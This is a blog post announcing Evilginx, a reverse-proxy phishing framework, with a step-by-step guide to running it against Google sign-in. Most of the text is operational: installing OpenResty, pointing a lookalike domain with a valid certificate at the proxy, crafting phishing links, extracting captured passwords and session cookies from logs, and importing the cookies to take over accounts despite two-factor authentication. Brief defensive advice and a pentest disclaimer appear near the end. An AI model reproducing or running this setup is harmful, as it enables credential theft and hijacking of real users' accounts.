Evilginx - Advanced Phishing with Two-

factor Authentication Bypass

I'm releasing my latest Evilginx project, which is a man-in-the-middle

attack framework for remotely capturing credentials and session cookies of
any web service. It uses Nginx HTTP server to proxy legitimate login page,
to visitors, and captures credentials and session cookies on-the-fly. It
works remotely, uses custom domain and a valid SSL certificate. I have
decided to phish Google services for Evilginx demonstration as there is no
better way to assess this tool's effectiveness than stress-testing best anti-
phishing protections available.
Please note that Evilginx can be adapted to work with any website, not
only with Google.
Enjoy the video. If you want to learn more on how this attack works and
how you can implement it yourself, do read on.
Disclaimer: This project is released for educational purposes and should
be used only in legitimate penetration testing assignments with written
permission from to-be-phished parties.

How it works

1.Attacker generates a phishing link pointing to his server running

Evilginx: https://accounts.notreallygoogle.com/ServiceLog
in?rc=https://www.youtube.com/watch?
v=dQw4w9WgXcQ&rt=LSID
Parameters in the URL stand for:
rc =
On successful sign-in, victim will be redirected to this link e.g.
document hosted on Google Drive.
rt = This is the name of the session cookie which is set in the
browser only after successful sign-in. If this cookie is detected,
this will be an indication for Evilginx that sign-in was successful
and the victim can be redirected to URL supplied by rc parameter.
2.Victim receives attacker's phishing link via any available
communication channel (email, messenger etc.).
3.Victim clicks the link and is presented with Evilginx's proxied
Google sign-in page.
4.Victim enters his/her valid account credentials, progresses
through two-factor authentication challenge (if enabled) and
he/she is redirected to URL specified by rc parameter. At this
point rd cookie is saved for notreallygoogle.com domain in
victim's browser. From now on, if this cookie is present, he/she
will be immediately redirected to rc URL, when phishing link is re-
opened.
5.Attacker now has victim's email and password, as well as
session cookies that can be imported into attacker's browser in
order to take full control of the logged in session, bypassing any
two-factor authentication protections enabled on victim's
account.
Let's take few steps back and try to define main obstacles in traditional
phishing efforts.
First and major pain with phishing for credentials is two-factor
authentication. You can create the best looking template that yields you
dozens of logins and passwords, but you will eventually get roadblocked
when asked for verification token that arrived via SMS. Not only will it stop
you from progressing further, but it will also tip off the account owner,
when they receive login attempt alert.
Second issue with phishing templates is, they must allow to accept any
login and password, as they have no means of confirming their validity.

That will, at times, leave you with invalid credentials.

Third issue is having to create phishing templates. I don't know about you,
but for me the process of copying site layout, stripping javascript, fixing
CSS and writing my own replacements for stripped javascript code to make
the login screen behave as the original, is extremely annoying. It feels bad
to recreate something, which has already been done.
In past several months I have worked on my own ettercap-like HTTP proxy
software written in C++, using Boost::Asio library for maximum efficiency.
I implemented SSLstrip, DNS spoofing and HSTS bypass. This solution
worked perfectly in Local Area Network, but I wondered if same ideas
could be repurposed for remote phishing, without a need to use custom-
made software.
I had a revelation when I read an excellent blog post by @i_bo0om. He
used Nginx HTTP server's proxy_pass feature and sub_filter module
to proxy the real Telegram login page to visitors, intercepting credentials
and session cookies on-the-fly using man-in-the-middle attacks. This
article made me realize that Nginx could be used as a proxy for external
servers and it sparked the idea of Evilginx. The idea was perfect - simple
and yet effective.
Allow me to talk a bit on Evilginx's research process, before I focus on
installation and usage.

Evilginx Research
The core of Evilginx is the usage of Nginx HTTP proxy module. It allows
to pass clients' requests to another server. This basically allows Nginx
server to act as a man-in-the-middle agent, effectively intercepting all
requests from clients, modifying and forwarding them to another server.
Later, it intercepts server's responses, modifies them and forwads them
back to clients. This setup allows Evilginx to capture credentials sent
with POST request packets and upon successful sign-in, capture valid
session cookies sent back from the proxied server.
In order to prevent the visitor from being redirected to the real website, all
URLs with real website's domain, retrieved from the server, need to
replaced with Evilginx phishing domain. This is handled
by sub_filter module provided by Nginx.
Nginx implements its own logging mechanism, which will log every request
in detail, including POST body and also cookies: and set-
cookie: headers. I created a Python script
named evilginx_parser.py, that will parse the Nginx log and extract
credentials and session cookies, then save them in corresponding
directories, for easy management.
There is one big issue in Nginx's logging mechanism that almost
prevented Evilginx from being finished.
Take a look at the following Nginx configuration line that specifies the
format in which log entries should be created:
log_format foo '$remote_addr "$request" set_cookie=$sent_http_set_cookie';
Variable $sent_http_set_cookie stores a value of set-
cookie response header. These headers will contain session cookies
returned from the server on successful authorization and they have to
be included in the output of Nginx's access log.
Issue is, HTTP servers return cookies in multiple set-cookie headers
like so:
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Set-Cookie: JSESSIONID=this_is_the_first_cookie; path=/; secure; HttpOnly
Set-Cookie: APPID=this_is_the_second_cookie; path=/;
Set-Cookie: NSAL33TTRACKER=this_is_the_third_cookie; path=/;
Server: nginx
Connection: close
For some reason Nginx's $sent_http_set_cookie variable doesn't
store set-cookie header values as an array. Instead it stores only the
value of the first seen set-cookie header, which in our example would
be JSESSIONID=this_is_the_first_cookie; path=/; secure;
HttpOnly. This is a huge problem, as it allows to log only one cookie and
forget the rest. While searching the internet for possible solutions, I came
across posts from 2011 about the same issue, reported by hopeless
sysadmins and developers. I was positive that Nginx itself did not have any
workaround.
I had two options:
1.Modifying Nginx source code and fixing the issue myself.
2.Developing a custom Nginx module that would allow for better
packet parsing.
After a while, I knew neither of the two options were viable. They would
have required me to spend huge amount of time, understanding the
internals of Nginx. Neither did I want to do it or did I have that amount of
time to spend on a side project.
Thankfully, I came across some interesting posts about using LUA scripting
language in Nginx configuration files. I learned it was OpenResty Nginx
modification, which allowed to put small scripts into site configuration files
to handle packet parsing and data output.
OpenResty website describes itself as such:
OpenResty® is a full-fledged web platform that integrates the
standard Nginx core, LuaJIT, many carefully written Lua libraries,
lots of high quality 3rd-party Nginx modules, and most of their
external dependencies. It is designed to help developers easily
build scalable web applications, web services, and dynamic web
gateways.
I found out that by using LUA scripting, it was possible to access set-
cookie headers as an array.
Here is an example function that returns all set-cookie header values as
an array:
function get_cookies()
local cookies = ngx.header.set_cookie or {}
if type(cookies) == "string" then
cookies = {cookies}
end
return cookies
end
The big issue with logging cookies was resolved and the best part of it was,
LUA scripting allowed much more in terms of packet modification, which
wasn't allowed by vanilla Nginx, e.g. modification of response packet
headers.
The rest of development followed swiftly. I will explain more interesting
aspects of the tool as I go, while I guide you on how to install and set up
everything from scratch.

Getting Your Hands Dirty

[UPDATE 2014-04-26] I've released a new version of Evilginx, which
makes the installation process described in this post slightly out-of-date.
For new installation instructions, refer to the latest post about Evilginx
1.0 Update.
First of all, we need a server to host Evilginx. I've used a Debian 8.7 x64
512MB RAM VPS hosted on Digital Ocean. If you use this link and
create an account, you will get free $10 to spend on your servers.
I've used the cheapest $5/mo server, so it should give you 2 months extra
and seriously Digital Ocean is the best hosting company I've ever used.
Once our server is up and running, we need to log into it and perform
upgrades, just in case:
apt-get update
apt-get upgrade
We will also need a domain that will point to our VPS. I highly recommend
buying one from NameCheap (yes, this is my affiliate link, thanks!). They
have never let me down and support is top notch.
I won't cover here how to set up your newly bought domain to point at your
newly bought VPS. You can find excellent tutorials on Digital Ocean:
1.How to Point to DigitalOcean Nameservers From Common
Domain Registrars
2.How To Set Up a Host Name with DigitalOcean
For the remainder of this post, let's assume that our registered domain
is: notreallygoogle.com .
Installing OpenResty/Nginx

Now we can proceed to install OpenResty. We will be installing it from

source. At the time of writing, most current version was 1.11.2.2, so if you
want a newer version, you can check the download page for more up-to-
date links.
mkdir dev
cd dev
wget https://openresty.org/download/openresty-1.11.2.2.tar.gz
tar zxvf openresty-1.11.2.2.tar.gz
cd openresty-1.11.2.2
With OpenResty unpacked, we need to install our compiler and
dependency packages to compile it. The following will install Make, GCC
compiler, PCRE and OpenSSL development libraries:
apt-get -y install make gcc libpcre3-dev libssl-dev
Before we compile the sources, we need to configure the installation. The
following line will do the job of putting the Nginx binaries, logs and config
files into proper directories. It will also enable sub_filter module
and LuaJIT functionality.
./configure --user=www-data --group=www-data --prefix=/etc/nginx --sbin-
path=/usr/sbin/nginx --conf-path=/etc/nginx/nginx.conf --error-log-
path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --pid-
path=/var/run/nginx.pid --lock-path=/var/run/nginx.lock --with-http_ssl_module
--with-pcre --with-http_sub_module --with-luajit
At this point, we are ready to compile and install.
make
make install
If all went well, we can verify that OpenResty was installed properly:
root@phish:~# nginx -v
nginx version: openresty/1.11.2.2
From now on, I will refer to OpenResty as Nginx. I believe it will make it
less confusing.
Setting up the daemon

Nginx is now installed, but it currently won't start at boot or keep running
in the background. We need to create our own systemd daemon service
rules:
cat <<EOF > /etc/systemd/system/nginx.service
[Unit]
Description=The NGINX HTTP and reverse proxy server
After=syslog.target network.target remote-fs.target nss-lookup.target

[Service]
Type=forking
PIDFile=/run/nginx.pid
ExecStartPre=/usr/sbin/nginx -t
ExecStart=/usr/sbin/nginx
ExecReload=/bin/kill -s HUP $MAINPID
ExecStop=/bin/kill -s QUIT $MAINPID
PrivateTmp=true

[Install]
WantedBy=multi-user.target
EOF
Before we launch our service for the first time, we have to properly
configure Nginx.
Nginx configuration

We need to open Nginx configuration file /etc/nginx/nginx.conf with

any text editor and make sure to add include /etc/nginx/sites-
enabled/*; in the http {...} block. After modification, it should look
something like this:
...
http {
include mime.types;
default_type application/octet-stream;

include /etc/nginx/sites-enabled/*;
...
}
Nginx, from now on, will look for our site configurations
in /etc/nginx/sites-enabled/ directory, where we will be putting
symbolic links of files residing in /etc/nginx/sites-
available/ directory. Let's create both directories:
mkdir /etc/nginx/sites-available/ /etc/nginx/sites-enabled/
We need to set up our phishing site configuration for Nginx. We will use
the site configuration for phishing Google users, that is included
with Evilginx package. Easiest way to be up-to-date is to clone Evilginx
GitHub repository.
apt-get -y install git
cd ~
mkdir tools
cd tools
git clone https://github.com/kgretzky/evilginx
cd evilginx
Now copy Evilginx's site configuration template to /etc/nginx/sites-
available/ directory. We will also replace all occurences
of {{PHISH_DOMAIN}} in the template file with the name of the domain
we registered, which in our case is notreallygoogle.com. When it's done,
create a symbolic link to our new site configuration file
in /etc/nginx/sites-enabled/ directory:
cp ./sites/evilginx-google-template.conf /etc/nginx/sites-available/evilginx-
google.conf
sed -i 's/{{PHISH_DOMAIN}}/notreallygoogle.com/g' /etc/nginx/sites-
available/evilginx-google.conf
ln -s /etc/nginx/sites-available/evilginx-google.conf /etc/nginx/sites-enabled/
We are almost ready. One remaining step is to install our SSL/TLS
certificate to make Evilginx phishing site look legitimate and secure. We
will use LetsEncrypt free SSL/TLS certificate for this purpose.
Installing SSL/TLS certificates

EFF has released an incredibly easy to use tool for obtaining valid SSL/TLS
certificates from LetsEncrypt. It's called Certbot and we will use it right
now.
Open your /etc/apt/sources.list file and add the following line:
deb http://ftp.debian.org/debian jessie-backports main
Now install Certbot:
apt-get update
apt-get install certbot -t jessie-backports
If all went well, we should be able to obtain our certificates now. Make sure
Nginx is not running, as Certbot will need to open HTTP ports for
LetsEncrypt to verify ownership of our server. Enter the following
command and proceed through prompts:
certbot certonly --standalone -d notreallygoogle.com -d
accounts.notreallygoogle.com
On success, our private key and public certificate chain should find its
place
in /etc/letsencrypt/live/notreallygoogle.com/ directory. Evil
ginx's site configuration already includes a setting to use SSL/TLS
certificates from this directory.
Please note, that LetsEncrypt certificates are valid for 90 days, so if you
plan to use your server for more than 3 months, you can add certbot
renew command to your /etc/crontab and have it run every day. This
will make sure your SSL/TLS certificate is renewed when its bound to
expire in 30 days or less.
Starting up

Everything is ready for launch. Make sure your Nginx daemon is enabled
and start it:
systemctl enable nginx
systemctl start nginx
Check if Nginx started properly with systemctl status nginx and
make sure that both ports 80 and 443 are now opened by the Nginx
process, by checking output of netstat -tunalp.
If anything went wrong, try to retrace your steps and see if you did
everything properly. Do not hesitate to report issues in the comments
section below or even better, file an issue on GitHub.
In order to create your phishing URL, you need to supply two parameters:
1.rc = On successful sign-in, victim will be redirected to this link
e.g. document hosted on Google Drive.
2.rt = This is the name of the session cookie which is set in the
browser only after successful sign-in. If this cookie is detected,
this will be an indication for Evilginx that sign-in was successful
and the victim can be redirected to URL supplied by rc parameter.
Let's say we want to redirect the phished victim to rick'roll video on
Youtube and we know for sure that Google's session cookie name is LSID.
The URL should look like this:
https://accounts.notreallygoogle.com/ServiceLogin?rc=https://www.youtube.com/watch?
v=dQw4w9WgXcQ&rt=LSID
Try it out and see if it works for your own account.
Capturing credentials and session cookies

Nginx's site configuration is set up to output data

into /var/log/evilginx-google.log file. This file will store all
relevant parts of requests and responses that pass through Nginx's proxy.
Log contents are hard to analyze, but we can automate its parsing.
I wrote a small Python script, called evilginx_parser.py, which will
parse Nginx's log files and extract only credentials and session cookies
from them. Those will be saved in separate files in directories named after
extracted accounts' usernames.
I assume, you've now tested your Evilginx setup with phishing for your
own account's session. Let's try to extract your captured data. Here is the
script's usage page:
# ./evilginx_parser.py -h
usage: evilginx_parser.py [-h] -i INPUT -o OUTDIR -c CREDS [-x]

optional arguments:
-h, --help show this help message and exit
-i INPUT, --input INPUT
Input log file to parse.
-o OUTDIR, --outdir OUTDIR
Directory where output files will be saved.
-c CREDS, --creds CREDS
Credentials configuration file.
-x, --truncate Truncate log file after parsing.
All arguments should be self-explainatory apart maybe from --
creds and --truncate. Argument --creds specifies the input config
file, which provides info for the script, what kind of data we want to extract
from the log file.
Creds config file google.creds, made for Google, looks like this:
[creds]
email_arg=Email
passwd_arg=Passwd
tokens=[{"domain":".google.com","cookies":["SID", "HSID", "SSID", "APISID",
"SAPISID", "NID"]},{"domain":"accounts.google.com","cookies":["GAPS", "LSID"]}]
Creds file provides information on sign-in form username and password
parameter names. It also specifies a list of cookie names that manage user's
session, with assigned domain names. These will be intercepted and
captured.
It is very easy to create your own .creds config files if you decide to
implement phishing of other services for Evilginx.
If you supply the -x/--truncate argument, the script will truncate the
log file after parsing it. This is useful if you want to automate the execution
of the parser to run every minute, using cron.
Example usage of the script:
# ./evilginx_parser.py -i /var/log/evilginx-google.log -o ./logs -c google.creds -x
That should put extracted credentials and cookies into ./logs directory.
Accounts are organized into separate directories, in which you will find
files containing login attempts and session cookies.
Session cookies are saved in JSON format, which is fully compatible
with EditThisCookie extension for Chrome. Just pick Import option in
extension's window and copy-paste the JSON data into it, to impersonate
the captured session.
Keep in mind that it is often best to clear all cookies from your browser
before importing.
After you've imported the intercepted session cookies, open Gmail for
example and you should be on the inside of the captured account.
Congratulations!

Session Hijacking FAQ

I figured, many of you may not be familiar with the method of hijacking
session tokens. I'd like to shed some light on the subject by answering some
questions that I often get.
Does session hijacking allow to take full control of the account,
without the need to even know the user's account password?
Yes. When you import other account's session cookies into your browser,
the server has no other option than to trust that you are indeed the person
who logged into his own account.
How is this possible? Shouldn't there be protections to prevent
this?
The only variable, which is hard to control for the attacker is the source IP
address. Most web services, handling critical data, should not allow the
same session token to be used from multiple IP addresses at the same time
(e.g. banks). It would be wise to detect such scenario and then invalidate
the session token, requiring both parties to log in again. As far as I've
tested, Google doesn't care about the IP address of the account that uses a
valid session token. Attacker's IP can be from different continent and still it
wouldn't raise red flags for the legitimate account owner.
I believe the only reason why Google does allow to simultaneously access
accounts from different IPs, using same session token, is user experience.
Imagine how many users switch their IPs, while they have constant access
to their Google services. They have Google signed in on their phone and
PC, they move between coffee shop, work and home, where they use
different wireless networks, VPNs or 3G/4G networks.
If Google was to invalidate session tokens every time IP change was
detected, it would make using their services a nightmare and people would
switch to easier to use alternatives.
And, no, Google Chrome does not perform any OS fingerprinting to verify
legitimate owner's machine. It would be useless as it would provide less
protection for people using other browsers (Firefox, Safari, Opera) and
even if they did fingerprint the OS, the telemetry information would have
to be somehow sent to the server, during user's sign-in. This inevitably
would also allow hijacking.
Does the account owner get any alerts when he tries to log into
Google through Evilginx phishing site?
Yes. On successful login, the account owner will receive a push notification
to his Android phone (registered with the same Google account) and an e-
mail to his address, with information that someone logged into their
account from unknown IP address. The IP address will be the one
of Evilginx server, as it is the one acting as a man-in-the-middle proxy and
all requests to Google server originate from it.
The attacker can easily delete the "Unknown sign-in alert" e-mail after
getting access to the account, but there will be no way for him to remove
the push notification, sent to owner's Android phone.
Issue is, some people may ignore the alert, which will be sent exactly after
they personally sign into Evilginx phishing site. They may understand the
alert is a false positive, as they did sign in a minute earlier.
How would this attack fare against hardware two-factor
authentication solutions?
Edit (2017/04/07):
Apparently U2F "security key" solutions check the domain you're logging
into when the two-factor token is generated. In such scenario the attack
won't work as the user won't be able to log in, because of the phishing
domain being present instead of the legitimate one.
Thanks to kind readers who reported this!
Two-factor authentication protects the user only during the sign-
in process. If user's password is stolen, 2FA acts as a backup
security protection, using an additional communication channel
that is less likely for an attacker to compromise (personal phone,
backup e-mail account, hardware PIN generators).
On successful login, using any form of two-factor authentication,
the server has to save session cookies in account's owner
browser. These will be required, by the server, to verify the
account owner of every sent, subsequent request.
At this point, if the attacker is in possession of session cookies,
2FA authentication methods do not matter as the account has
already been compromised, since the user successfully logged in.
What will happen if I don't tick "Remember me" checkbox at
Evilginx phishing page, which should make the session token
temporary?
Temporary session token will be sent to user's browser as a cookie with no
expiration date. This lets the browser know to remove this cookie from
cache when the browser is closed. Evilginx will still capture the temporary
session token and during extraction it will add its own +2 years expiration
date, making it permanent this time.
If the server doesn't have any mechanism to invalidate temporary session
tokens after a period of time. Tokens, they issued, may be used by an
attacker for a long time, even after the account owner closes their browser.
What can I do if I my session token gets stolen? How do I
prevent the attacker from accessing my account?
At this point, the best thing you can do is change your password. Mature
services like Google will effectively invalidate all active session tokens, in
use with your account. Additionally your password will change and the
attacker won't be able to use it to log back in.
Google also provides a feature to see the list of all your active sessions,
where you can invalidate them as well.
How do I not get phished like this?
Do NOT only check if the website, you are logging in to, has HTTPS with
secure lock icon in the address bar. That only means that the data between
you and the server is encrypted, but it won't matter if benevolent attacker
secures data transport between you and his server.
Most important is to check the domain in the address bar. If the address of
the sign-in page looks like
this: https://accounts.mirrorgoogle.com/ServiceLogin?
blahblah, put the domain name mirrorgoogle.com directly in Google
search. If nothing legitimate comes up, you may be sure that you are being
phished.

Conclusion
I need to stress out that Evilginx is not exploiting any vulnerability.
Google still does a terrific job at protecting its users from this kind of
threat. Because Evilginx acts as a proxy between the user and Google
servers, Google will recognize proxy server's IP as a client and not the
user's real IP address. As a result, user will still receive an alert that his
account was accessed from an unknown IP (especially if
the Evilginx server is hosted in a different country than phished user
resides in).
I released this tool as a demonstration of how far attackers can go in hunt
for your accounts and private data. If one was to fall for such ploy, not even
two-factor authentication would help.
If you are a penetration tester, feel free to use this tool in testing security
and threat awareness of your clients.
In the future, if the feedback is good, I plan to write a post going into
details on how to create your own Evilginx configuration files in order to
add support for phishing any website you want.
I am constantly looking for interesting projects to work on!

Do not hesitate to contact me if you happen to be working on projects that

require:
•Reverse Engineering
•Development of Security Software
•Web / Mobile Application Penetration Testing
•Offensive Tools for Red Team Assessments
I am extremely passionate about what I do and I like to work with people
smarter than I am.